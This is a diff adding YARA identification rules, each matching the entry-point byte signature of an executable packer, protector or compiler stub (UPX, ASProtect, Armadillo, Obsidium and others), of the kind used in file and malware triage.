+		$3 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? D2}
+		$4 = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+		$5 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _EXE_Shield_vxx__Exeshield_Corp_
+{
+	meta:
+		description = "EXE Shield vx.x -> Exeshield Corp."
+	strings:
+		$0 = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crackstop_103a_
+{
+	meta:
+		description = "Crackstop 1.03a"
+	strings:
+		$0 = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC 03 46 FA 05 05 00 FF E0 9A 53 45 EB 05 B8 08 00 EB EE B8 06 00 29 46 FA EB 02 8E F8 2B E0 CF EA 11 0E 1F E8 02 00 24 24 5A B4 09 CD 21 FA 33 C0 89 46 FA B8 D2 04 40 2B D8 8B 46 FA 0B C0 75 B2 FB B0}
+	condition:
+		$0 at entrypoint
+}
+rule _nSPack_1x2x__North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 1.x/2.x -> North Star/Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v303_
+{
+	meta:
+		description = "WWPACK v3.03"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+		$1 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Ice_100_
+{
+	meta:
+		description = "Ice 1.00"
+	strings:
+		$0 = {BE 26 01 8B FE 8B 0E 08 01 8B 16 02 01 B8 77 01 50 FC AD 33 C2 AB 8B D0 E2 F8 00 00 00 00 00 8D 0F 47 8C 77 F4 37 C6 FE 41 FC 0F 4D 0C BD 59 78 53 CD 7C 48 8D 0F 47 8C 7F F4 3F 85 AD 7F 55 83 85 08 FF F1 81 86 01 94 15 7B 2A 45 48 D1 DE EF}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_290_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.90 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRo_Tiny_Pascal__BeRo_
+{
+	meta:
+		description = "BeRo Tiny Pascal -> BeRo"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+		$1 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_V2X_DLL__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect V2.X DLL -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+		$1 = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PC_Shrinker_v071_
+{
+	meta:
+		description = "PC Shrinker v0.71"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+		$1 = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Zortech_C_200_1_
+{
+	meta:
+		description = "Zortech C 2.00 (1)"
+	strings:
+		$0 = {FA B8 00 00 05 0F 00 B9 04 00 D3 E8 8C C9 03 C1 8E D8 8C 06 00 00 26 8B 1E 2C 00 89 1E 47 01 8B D8 2B 1E 00 00 89 1E AD 00 26 8B 1E 02 00 2B D8 81 FB 00 10 72 03 BB FF 0F 8B D0 03 D3 42 B1 04 D3 E3 8E D0 8B E3 81 EB 00 00 80 FF 02 73 06 BA}
+	condition:
+		$0 at entrypoint
+}
+rule _SafeDisc_v4_
+{
+	meta:
+		description = "SafeDisc v4"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+	condition:
+		$0
+}
+rule _UPX_030__040_COM_
+{
+	meta:
+		description = "UPX 0.30 - 0.40 [COM]"
+	strings:
+		$0 = {B9 00 00 BE 00 00 BF C0 FF BD FF FF FD F3 A4 FC F7 E1 93 87 F7 83 C6 00 57}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006115__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.1.15 -> WFS"
+	strings:
+		$0 = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+	condition:
+		$0
+}
+rule _Krypton_v04_
+{
+	meta:
+		description = "Krypton v0.4"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+		$1 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _hmimyss_PEPack_01__hmimys_
+{
+	meta:
+		description = "hmimys's PE-Pack 0.1 -> hmimys"
+	strings:
+		$0 = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+		$1 = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00}
+		$2 = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Shield_170_
+{
+	meta:
+		description = "Shield 1.70"
+	strings:
+		$0 = {2E 8C 06 D5 05 2E 87 06 D3 05 8B EC B9 C3 03 90 33 DB 02 46 00 12 E7 45 E2 F8 8C CE 8E DB FA BC 22 02 59 5A 87 0F 43 43 03 D6 87 17 52 51 43 43 83 EC 04 80 FB 10 72 EA CC 90 25 73 67 2B 98 02 FB 5D 07 5A 5F 8B 3D 8B 4E 05 33 C7 33 C1 D1 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_SVKP_111__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake SVKP 1.11) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b3_
+{
+	meta:
+		description = "PECompact v1.10b3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Gleam_100__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Gleam 1.00] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Stirling_Archive_
+{
+	meta:
+		description = "Stirling Archive"
+	strings:
+		$0 = {13 5D 65 8C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protector_V260hyings_PEArmor_V0460_modify__Engprog__SignByfly_
+{
+	meta:
+		description = "PE_Protector V2.60£¨hying's PE-Armor V0.460 modify£© -> Engprog * Sign.By.fly"
+	strings:
+		$0 = {55 53 51 52 56 57 E8 E1 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5D 81 ED 0B 00 00 00 8B 9D 9B 00 00 00 03 9D 9F 00 00 00 0B DB 74 14 8B 83 7F 46 00 00 03 83 87 46 00 00 5F 5E 5A 59 5B 5D FF E0 8D 75 43 56 FF 55 54 8D B5 A3 00 00 00 56 50 FF 55 50 89 85 B0 00 00 00 8D 75 43 56 FF 55 54 8D B5 B4 00 00 00 56 50 FF 55 50 89 85 C0 00 00 00 8D 75 43 56 FF 55 54 8D B5 C4 00 00 00 56 50 FF 55 50 89 85 D0 00 00 00 6A 40 68 00 10 00 00 FF B5 97 00 00 00 6A 00 FF 95 B0 00 00 00 89 85 9B 00 00 00 55 8D 9D F2 01 00 00 53 8D 9D CC 01 00 00 FF D3 8B 74 24 04 8B 7C 24 0C F7 46 04 07 00 00 00 75 08 81 3E 27 00 00 C0 75 06 B8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1987_
+{
+	meta:
+		description = "MS Run-Time Library 1987"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v13037__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.37 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+		$1 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB}
+		$2 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RCryptor_V16d__Vaska_
+{
+	meta:
+		description = "RCryptor V1.6d -> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPack_167_EXE_
+{
+	meta:
+		description = "XPack 1.67 [EXE]"
+	strings:
+		$0 = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 0E 1F 8B EC EB 01 9A FA 33 DB 8E D3 BC 04 00 8F 06 EA 03 8F 06 EF 03 EB 01 9A 0E BE E2 03 56 5E 17 8B E5 83 C4 10 FB 1F 59 E8 C6 FF 33 DB 1E 8E DB C7}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorProtection_V1601__CGSoftLabs____20080308_
+{
+	meta:
+		description = "eXPressor.Protection V1.6.0.1 -> CGSoftLabs   * 20080308"
+	strings:
+		$0 = {EB 01 ?? EB 01 ?? 55 8B EC 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? ?? 74 08 EB 01 ?? E9 56 01 00 00 EB 02 ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 01 ?? E8 E2 05 00 00 EB 02 ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 ?? EB 02 ?? ?? 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 ?? 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 ?? ?? 8B 45 F4 0F B6 ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 81 ?? ?? ?? ?? EB 01 ?? EB D4 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 83 C4 10 89 45 FC EB 02 ?? ?? 83 7D FC 00 75 0A 6A 00 A1 ?? ?? ?? ?? FF 50 14 EB 01 ?? F3 E8 A0 05 00 00 A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 45 F8 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 FC E8 01 00 00 00 ?? 83 04 24 06 C3}
+	condition:
+		$0
+}
+rule _UPX_0896__102_PE_
+{
+	meta:
+		description = "UPX 0.89.6 - 1.02 [PE]"
+	strings:
+		$0 = {60 BE 00 00 00 00 8D BE 00 00 00 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V037V039__Dwing_
+{
+	meta:
+		description = "Upack V0.37-V0.39 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v31_
+{
+	meta:
+		description = "PEncrypt v3.1"
+	strings:
+		$0 = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+		$1 = {E9 ?? ?? ?? 00 F0 0F C6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Anti007_V27V35__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 V2.7-V3.5 -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54}
+		$1 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_PCGuard_4xx__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PC-Guard 4.xx) -> emadicius"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58}
+	condition:
+		$0 at entrypoint
+}
+rule _NT_Shell_40_
+{
+	meta:
+		description = "NT Shell 4.0"
+	strings:
+		$0 = {2E 8C 1E FE 00 8C CA 8E DA 8E C2 FA 8E D2 BC FE 00 FB E8 00 00 EB 01 EA B9 A7 1E 5E 8B FE EB 01 EA 83 C7 65 2B CF EB 01 EA 32 D2 33 ED 33 DB EB 01 CD 8A 05 8A F0 EB 01 EA 2A C2 34 00 EB 01 EA 2C 00 51 EB 01 CD 8B CD EB 01 EA EB 01 EA D2 C8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_DLL_Method_2__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ DLL (Method 2)] --> Anorganix"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogen_Crypt_v075_
+{
+	meta:
+		description = "Virogen Crypt v0.75"
+	strings:
+		$0 = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+		$1 = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SafeDisc_4_
+{
+	meta:
+		description = "SafeDisc 4"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Protected_Mode_compiler_1_
+{
+	meta:
+		description = "Unknown Protected Mode compiler (1)"
+	strings:
+		$0 = {FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ZCode_101__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ZCode 1.01] --> Anorganix"
+	strings:
+		$0 = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _JDPack_2x__JDPack_
+{
+	meta:
+		description = "JDPack 2.x -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+		$1 = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_PE_Intro_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Intro 1.0] --> Anorganix"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _SEN_Debug_Protector_
+{
+	meta:
+		description = "SEN Debug Protector???"
+	strings:
+		$0 = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v250_
+{
+	meta:
+		description = "Armadillo v2.50"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+		$1 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WinZIP_Self_Extractor_
+{
+	meta:
+		description = "WinZIP Self Extractor"
+	strings:
+		$0 = {33 ED 55 9A FF FF 00 00 0B C0 74 EE 81 C1 00 01 72 E8 89 0E 90 03 89 36 92 03 89 3E 94 03 89 1E 96 03 8C 06 98 03 89 16 9A 03 33 C0 50 9A FF FF 00 00 FF 36 94 03 9A FF FF 00 00 0B C0 74 BB FF 36 94 03 FF 36 92 03 FF 36 98 03 FF 36 96 03 FF}
+	condition:
+		$0 at entrypoint
+}
